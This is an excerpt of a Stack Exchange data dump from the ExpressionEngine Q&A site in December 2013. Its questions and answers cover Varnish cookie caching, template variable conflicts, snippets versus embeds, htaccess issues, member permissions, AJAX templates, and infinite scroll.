  <row Id="17935" PostTypeId="1" AcceptedAnswerId="17955" CreationDate="2013-12-24T01:05:32.290" Score="2" ViewCount="316" Body="&lt;p&gt;I'm trying to set up Varnish to cache certain static pages on my site for users who have not logged in or added anything to their cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, Varnish will check whether the user has any cookies set on the site. If not, it will serve a cached version of the page. This can help dramatically when the page is under heavy load (like during a press push), where the majority of visitors won't have logged in or added anything to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, ExpressionEngine and CartThrob both set a bunch of cookies when the user first arrives, before there's any need for session data to be stored. As such, pages are (rightly) never cached by Varnish. I'm seeing these cookies set immediately on the first request:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;exp_cartthrob_session_id&#xA;exp_last_activity&#xA;exp_last_visit&#xA;exp_tracker&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, neither EE or CartThrob should set a cookie until either the user logs in or adds something to their cart. Is there any way to prevent all of these cookies from being set on first visit?&lt;/p&gt;&#xA;" OwnerUserId="2480" LastActivityDate="2013-12-27T05:50:43.280" Title="How to prevent EE and CartThrob setting cookies for anonymous users?" Tags="|cartthrob|sessions|cookies|caching|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17936" PostTypeId="1" CreationDate="2013-12-24T05:22:07.807" Score="1" ViewCount="136" Body="&lt;p&gt;I have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;        channel=&quot;xxxxxx&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;        entry_id=&quot;{segment_2}&quot;&#xA;        status=&quot;open|closed&quot;&#xA;        track_views=&quot;one&quot;&#xA;    }&#xA;        {url_title}&#xA;&#xA;        {exp:channel:category_archive&#xA;            channel=&quot;yyy&quot;&#xA;            style=&quot;linear&quot;&#xA;        }&#xA;            {categories}&#xA;                {entry_titles}&#xA;                    {url_title}                                                     &#xA;                {/entry_titles}&#xA;            {/categories}&#xA;        {/exp:channel:category_archive}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently, EE doesn’t know how to distinguish between the {url_title} of channel entries and category archive since it shows value of the channel entries {url_title} even inside the category archive tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really think that EE should be able to namespace variables properly or at least provide some alternative names to avoid name conflicts like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for now, is there a way to circumvent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The channel in the category_archive &lt;code&gt;yyy&lt;/code&gt; is a relationship field&lt;/li&gt;&#xA;&lt;li&gt;What I am trying to do here is to show &lt;code&gt;yyy&lt;/code&gt; selected items grouped by category&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-12-24T07:00:08.067" LastActivityDate="2014-02-22T14:18:13.420" Title="Url title namespacing problem" Tags="|channel-entries|category-archive|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17937" PostTypeId="2" ParentId="17936" CreationDate="2013-12-24T08:54:05.380" Score="1" Body="&lt;p&gt;Until {entry_titles} gets its own dedicated {entry_url_title} (if ever) this is a typical situation where you could use an embed for the nested category_archive tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if yyy is already a relationship field, i wonder if there isn't a different approach to what you are trying to achieve.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-12-24T08:54:05.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17938" PostTypeId="2" ParentId="17934" CreationDate="2013-12-24T11:30:28.247" Score="0" Body="&lt;p&gt;I'm not 100% sure if this what you trying to accomplish but you can pass parameters through as part of the embed tag. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;site/header&quot; entry_id=&quot;2145&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in the template your embedding use the variable like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;default_site&quot; limit=&quot;1&quot; entry_id=&quot;{embed:entry_id}&quot;}&#xA;    ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's more information in ee's docs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/embedding.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2531" LastActivityDate="2013-12-24T11:30:28.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17939" PostTypeId="2" ParentId="17917" CreationDate="2013-12-24T11:49:08.973" Score="4" Body="&lt;p&gt;When you use if else statements EE executes all the code in every statement before deciding what to output. This makes it very slow indeed. What you need is devot-ee.com/add-ons/switchee&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now gimme some credits ;-)&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2013-12-24T11:49:08.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17940" PostTypeId="2" ParentId="17860" CreationDate="2013-12-24T12:07:48.717" Score="1" Body="&lt;p&gt;what you can do is to add some transcribe variables so you can generate language codes.&#xA;make on like transcribe_lang_country with the value &quot;en&quot; and one like transcribe_lang_language with the value &quot;US&quot; (this is for the american english language version. I don't know the spanish ones)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then let the locale be determined by the browser by adding the country variable to the html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html class=&quot;no-js&quot; lang=&quot;{transcribe_lang_country}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would let the browser render the time notation in the proper format.&#xA;Mind you; EE wil render the date notation based upon the language settings of the logged in user. So to check if it works use another browser where you are not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another nice little trick is when you are using validationengine on your forms you can get the error messages easily in the proper language by calling the right locale {transcribe_lang_country}_{transcribe_lang_language}, which will render as en_US&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is also the date/time convert addon from Carl Crawley that could help: &lt;a href=&quot;http://devot-ee.com/add-ons/date-time-language-converter&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/date-time-language-converter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2013-12-24T12:20:54.993" LastActivityDate="2013-12-24T12:20:54.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17941" PostTypeId="2" ParentId="17934" CreationDate="2013-12-24T12:38:56.710" Score="1" Body="&lt;p&gt;Why not to put the code of &lt;code&gt;{embed=&quot;_includes/tabs&quot;}&lt;/code&gt; into a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/snippets.html&quot; rel=&quot;nofollow&quot;&gt;snippet&lt;/a&gt;? In my sample code, I'm calling it &lt;code&gt;snip_tabs&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:brilliant_retail:product}&#xA;&#xA;        &amp;lt;div class=&quot;inner_container&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;product_detail&quot;&amp;gt;&#xA;                {if &quot;{store_id}&quot; == &quot;2641&quot; OR &quot;{store_id}&quot; == &quot;2635&quot; OR &quot;{store_id}&quot; == &quot;2572&quot; OR &quot;{store_id}&quot; == &quot;2619&quot; OR &quot;{store_id}&quot; == &quot;2576&quot;}&#xA;                    {snip_tabs}&#xA;                {if:else}&#xA;                    {detail}&#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:brilliant_retail:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embeds are completely new templates that are parsed and then inserted into the parent template. You need to insert the code before the parsing. So, snippets are an excellent solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the edition of snippets easier, you can use the &lt;a href=&quot;http://devot-ee.com/add-ons/snippetssync&quot; rel=&quot;nofollow&quot;&gt;SnippetsSync&lt;/a&gt; add on. Just remember to disable the automatic update on your production environment, because this function can make you website really slow. You can do this by setting &lt;code&gt;$config['snippetssync_production_mode_override'] = TRUE;&lt;/code&gt; for this environment.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-12-24T12:38:56.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17942" PostTypeId="1" CreationDate="2013-12-24T15:55:14.693" Score="1" ViewCount="40" Body="&lt;p&gt;How can I search Low Variables content using the Search tag, is it possible?&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2013-12-26T10:03:30.460" Title="Adding low variables entries to search results" Tags="|search|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17943" PostTypeId="1" CreationDate="2013-12-24T16:29:30.837" Score="0" ViewCount="92" Body="&lt;p&gt;I'm running EE 2.7.2, Wygwam 3.2.2. Drag and drop image into the field doesn't work. After saving my entry and opening the page, I can view source and see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img alt=&quot;&quot; src=&quot;data:&amp;amp;lt;;base64,/9j/4R5uRXhpZgAASUkqAAgAAAAPAAABAwABAAAAQAYAAAE... .... ....&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I insert an image by using the toolbar button and uploading an image, it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt; This is a bug to be addressed by P&amp;amp;T.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastEditorUserId="1851" LastEditDate="2013-12-30T21:45:45.080" LastActivityDate="2013-12-30T21:45:45.080" Title="Drag &amp; drop image doesn't work" Tags="|wygwam|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17945" PostTypeId="2" ParentId="17932" CreationDate="2013-12-24T19:51:53.027" Score="0" Body="&lt;p&gt;In my opinion you should rethink your approach a bit here. Whilst it's probably possible to cobble together some esoteric convoluted template code to deal with permissions, it would be much safer and more maintainable if you built a custom add-on to handle your exact needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, you could build an extension based on the channel_entries_tagdata_end hook that makes the necessary checks and redirects accordingly.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-24T19:51:53.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17946" PostTypeId="2" ParentId="17916" CreationDate="2013-12-24T22:24:15.783" Score="2" Body="&lt;p&gt;Based on your comment, there is no native way to include and exclude in one channel tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst I don't appreciate your requirements, I'd look at Stash by Croxton. It will allow you to capture multiple entries from multiple channesl using whatever logic you require.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-12-24T22:24:15.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17948" PostTypeId="1" CreationDate="2013-12-26T06:19:27.560" Score="0" ViewCount="33" Body="&lt;p&gt;Having a hard time getting a multilingual site to work ( not complete getting the htaccess syntax)&#xA;folder layout &#xA;root &#xA; - /en&#xA; - /ar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My htaccess is interfering with some of the system act links as far as i can see giving me 500 errors here and there . below I attached my current htaccess ( AR is a modification of the en so not included ) and index.php edits for the root , /en(/ar) folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the site to default to en/ jump to the en folder. But something is wrong in my htaccess(s) I think, as the system act-links sometimes return 500 errors, please have a look any suggestions is appreciated, Thanks.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The root htaccess and index.php :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gcDQf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DusrA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The /en(ar) htaccess and index.php :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MTfne.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N0wIZ.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="717" LastActivityDate="2013-12-26T06:19:27.560" Title="Expressionengine multilangual htaccess" Tags="|htaccess|redirects|redirection|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17949" PostTypeId="2" ParentId="17942" CreationDate="2013-12-26T10:03:30.460" Score="2" Body="&lt;p&gt;You can't. Global variables (which LV are, essentially) aren't searchable by the native Search module, nor by any 3rd party search add-on that I know of.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-12-26T10:03:30.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17951" PostTypeId="1" AcceptedAnswerId="17952" CreationDate="2013-12-26T19:33:17.747" Score="0" ViewCount="38" Body="&lt;p&gt;Although I am logged in a s superadmin, I do not get access to a site that is offline. Klicking on the site name link, I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;To proceed to the URL you have requested, click the link below:&#xA;&#xA;http://www.mysite.com/index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;proceeding makes that I reach the offline status, as if I am not logged in. But I am!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When tampering with the url, I get acces, also a new window in same browsersession. This is of course not a desirable situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I studied all the posts I could find here about being kicked out of the site and or CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the CP:&#xA;My cookie settings: all empty.&#xA;Securety settings: standard: (cookies and session for CP, cookies only for site.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is much appreciated, I must solve this problem tomorrow.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2013-12-26T21:27:28.013" Title="although logged in, no access to off line site, EE thinks I am not logged in" Tags="|control-panel|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17952" PostTypeId="2" ParentId="17951" CreationDate="2013-12-26T21:27:28.013" Score="0" Body="&lt;p&gt;make sure the URL you logged in at and the URL you are trying to access the site is the same. like www or no www, etc.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-12-26T21:27:28.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17953" PostTypeId="1" AcceptedAnswerId="18041" CreationDate="2013-12-26T21:31:56.203" Score="0" ViewCount="152" Body="&lt;p&gt;Can view channel entries authored by others Yes&lt;br&gt;&#xA;Can delete their own channel entries    Yes&lt;br&gt;&#xA;Can edit entries authored by others Yes&lt;br&gt;&#xA;Can delete channel entries authored by others Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these are set to Yes, but when I log in as an Editor and update an entry and click Submit, it gives me a &quot;You are not authorized to perform this action&quot; error in the control panel in the Options tab under Author. I do have the author selector hidden using publish layouts. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-01-02T21:06:00.423" Title="&quot;Editors&quot; member group is set to allow them to edit other member's entries, but it's not working" Tags="|members|publish-layout|groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17954" PostTypeId="2" ParentId="17865" CreationDate="2013-12-27T05:20:35.617" Score="0" Body="&lt;p&gt;Ok so I was being a complete dummy about this. In the end I didn't need to POST any data using the AJAX &lt;code&gt;data:&lt;/code&gt; property. All I needed to do was edit what URL I passed :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML and AJAX call on the &lt;strong&gt;base template&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;calendar_sort&quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;    {!-- A default view value before any date-range AJAX filters are triggered --}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;....&#xA;&#xA;&amp;lt;a href=&quot;example.com/calendar/ajax/day&quot;  class=&quot;trigger&quot; data-orderby=&quot;day&quot;&amp;gt;Day&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;example.com/calendar/ajax/week&quot;  class=&quot;trigger&quot; data-orderby=&quot;week&quot;&amp;gt;Week&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;example.com/calendar/ajax/month&quot;  class=&quot;trigger&quot; data-orderby=&quot;month&quot;&amp;gt;Month&amp;lt;/a&amp;gt;&#xA;&#xA;....&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  $(document).ready(function(){&#xA;&#xA;    var ajaxTarget;&#xA;&#xA;    var trigger = $(&quot;.trigger&quot;),&#xA;        sort    = $(&quot;#calendar_sort &amp;gt; div&quot;);&#xA;&#xA;    trigger.click(function(event) {&#xA;&#xA;      event.preventDefault();&#xA;&#xA;      var selectedRange = $(this).attr(&quot;data-orderby&quot;);&#xA;&#xA;      // This replaces the POST data { sort: day } from the question above.&#xA;      ajaxTarget = &quot;/calendar/ajax/&quot; + selectedRange + &quot;/&quot;;&#xA;&#xA;      $.ajax({&#xA;          type: &quot;GET&quot;,&#xA;          url: ajaxTarget,&#xA;          dataType: &quot;html&quot;&#xA;      })&#xA;      .done(function(e) {&#xA;         $( &quot;#calendar_sort&quot; ).html(e);&#xA;      })&#xA;      .fail(function(e) {&#xA;         console.log(&quot;ajax error:&quot; + e);&#xA;      });&#xA;      return false;&#xA;    });&#xA;&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the &lt;code&gt;/calendar/ajax/&amp;lt;range&amp;gt;&lt;/code&gt; template that's being called (defined in my &lt;code&gt;calendar&lt;/code&gt; template group simply as &lt;code&gt;ajax&lt;/code&gt; as any trailing url data will simply redirect to the &lt;code&gt;ajax&lt;/code&gt; template):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;calendar_sort&quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;    {if segment_3 == &quot;day&quot;}&#xA;        {!-- Populate 'day' data before the template is returned --}&#xA;    {if:elseif segment_3 == &quot;week&quot;}&#xA;        {!-- Populate 'week' data before template is returned --}&#xA;    {if:else}&#xA;        {!-- Then it must be 'month' so do populate month data here --}&#xA;    {/if}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're using Solspace Calendar so generating stuff via AJAX this way is actually pretty nifty and easy once you get the right approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again to &lt;a href=&quot;https://expressionengine.stackexchange.com/users/22/alex-kendrick&quot;&gt;@AlexKendrick&lt;/a&gt; for your input on this.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-12-27T05:20:35.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17955" PostTypeId="2" ParentId="17935" CreationDate="2013-12-27T05:50:43.280" Score="3" Body="&lt;p&gt;The answer to this lay in the Varnish configuration. Basically, in the vcl_recv function, I created my logic for whether to &quot;lookup&quot; (check the cache, fetch from the backend if the cache is empty), or &quot;pass&quot; (always serve from the backend).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in vcl_pass, I added an HTTP header to the request indicating &quot;this request was passed and should never be cached&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub vcl_pass {&#xA;  set req.http.X-Varnish-Passed = &quot;PASS&quot;;&#xA;  return (pass);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally in vcl_fetch, I checked the HTTP header added to the request. If the header is missing, this request is safe to strip cookies and cache (based on my logic in vcl_recv). If the header is present, we should just serve it from the back end as-is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub vcl_fetch {&#xA;  if (req.http.X-Varnish-Passed != &quot;PASS&quot;) {&#xA;    set beresp.ttl = 300s;&#xA;    remove beresp.http.set-cookie;&#xA;    remove beresp.http.cookie;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may cause some problems with ExpressionEngine, since it is stripping out cookies on all of my static pages, but the cookies are still set correctly on all uncached pages (product pages, shopping cart, login pages, etc).&lt;/p&gt;&#xA;" OwnerUserId="2480" LastActivityDate="2013-12-27T05:50:43.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17956" PostTypeId="1" AcceptedAnswerId="17958" CreationDate="2013-12-27T05:58:05.587" Score="0" ViewCount="43" Body="&lt;p&gt;Is it possible to use tag pairs as parameters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take the code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:utilities:foo}&#xA;    {qux}abcdef{/qux}&#xA;    {lux}12345789{/lux}&#xA;{/exp:utilities:foo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally, using &lt;code&gt;parameters&lt;/code&gt;, you are going to do this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$qux    = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('qux');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the plugin, is there something I can call to get the values between the tag pairs just like the code above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My motivation for doing this is because using &quot;parameters&quot; for plugins usually result in a parse order issue for me.Some people seem to have the same &lt;a href=&quot;https://stackoverflow.com/questions/8423727/changing-an-expressionengine-plugins-parse-order&quot;&gt;problem&lt;/a&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I aiming to use the parameters to do some processing and return a single string for the plugin.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-12-27T09:38:09.963" Title="Plugin using tag pairs as &quot;parameters&quot;. Possible?" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17957" PostTypeId="1" CreationDate="2013-12-27T07:23:42.790" Score="0" ViewCount="359" Body="&lt;p&gt;I am using the same infinite scroll scripts that I have used before but for some reason the results just post into a new window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the template that calls the snippet that has the infinite scroll:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;mainContent&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;blog-posts&quot;&amp;gt;&#xA;      &amp;lt;h1&amp;gt;News Blog&amp;lt;/h1&amp;gt;&#xA;        {snip_ajax_scroll}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;script src=&quot;{site_url}assets/javascripts/jquery.infinitescroll.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;{site_url}assets/javascripts/manual-trigger.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        $(document).ready(function(){&#xA;            $('#blog-posts').infinitescroll({&#xA;                behavior     : 'twitter',&#xA;                navSelector : &quot;.blog-more-entries&quot;,&#xA;                nextSelector : &quot;a.more&quot;,&#xA;                itemSelector : &quot;.article&quot;,&#xA;                contentSelector: &quot;#blog-posts&quot;,&#xA;                extractLink: true, // This is crucial if you want it work properly. Setting this to false or excluding it will not allow the script to work with EE&#xA;            })&#xA;        });&#xA;        // Unbind normal behavior&#xA;        $(window).unbind('.infscr');&#xA;&#xA;        // Bind normal behavior to the click function and prevent the browser from redirecting to the URL.&#xA;        $('a.more').click(function(){&#xA;            $(document).trigger('retrieve.infscr');&#xA;            return false;&#xA;         });&#xA;    &amp;lt;/script&amp;gt; &#xA;&#xA;    &amp;lt;div id=&quot;blog-sidebar&quot;&amp;gt;&#xA;      &amp;lt;h4&amp;gt;Categories List&amp;lt;/h4&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&#xA;        {exp:channel:categories}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='news/article'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:categories}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt; &amp;lt;!-- /.wrapper --&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- /.row --&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- /#mainContent --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:entries&#xA;            channel=&quot;news&quot;&#xA;            dynamic=&quot;yes&quot;&#xA;            order_by=&quot;date&quot;&#xA;            limit=&quot;4&quot;&#xA;            status=&quot;open&quot; &#xA;            paginate_base=&quot;_embeds/ajax_scroll&quot;       &#xA;        }&#xA;        &amp;lt;div class=&quot;article&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;header&quot;&amp;gt;&#xA;              &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{path='news/article'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;              &amp;lt;span class=&quot;postdate&quot;&amp;gt;{entry_date format=&quot;%D, %F %d, %Y&quot;}&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;blog-preview&quot;&amp;gt;&#xA;                {if news_image}&#xA;                    &amp;lt;p&amp;gt;&amp;lt;img src=&quot;{news_image}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                {/if}&#xA;&#xA;                {exp:word_limit total=&quot;25&quot;}{exp:remove_html}{news_article}{/exp:remove_html}{/exp:word_limit}&#xA;                &amp;lt;a href=&quot;{path='news/article'}&quot; class=&quot;blog-read-more&quot;&amp;gt;Read More &amp;amp;rarr;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;     &#xA;&#xA;        {paginate}&#xA;        &amp;lt;p class=&quot;blog-more-entries&quot;&amp;gt;&#xA;            {if next_page}&amp;lt;a href=&quot;{auto_path}&quot; class=&quot;more&quot;&amp;gt;&amp;lt;img src=&quot;{site_url}assets/images/btn-see-more-entries.png&quot; alt=&quot;See More Entries&quot;&amp;gt;&amp;lt;/a&amp;gt;{/if}&#xA;        &amp;lt;/p&amp;gt;&#xA;        {/paginate}&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have an embed that is called by the snippet that just includes it again to populate the next set of entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jquery is loading above the scripts and it is working on a different site, but just not this one.  I am using EE 2.7.&lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-12-27T07:23:42.790" Title="infinite scroll loading in new page" Tags="|jquery|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
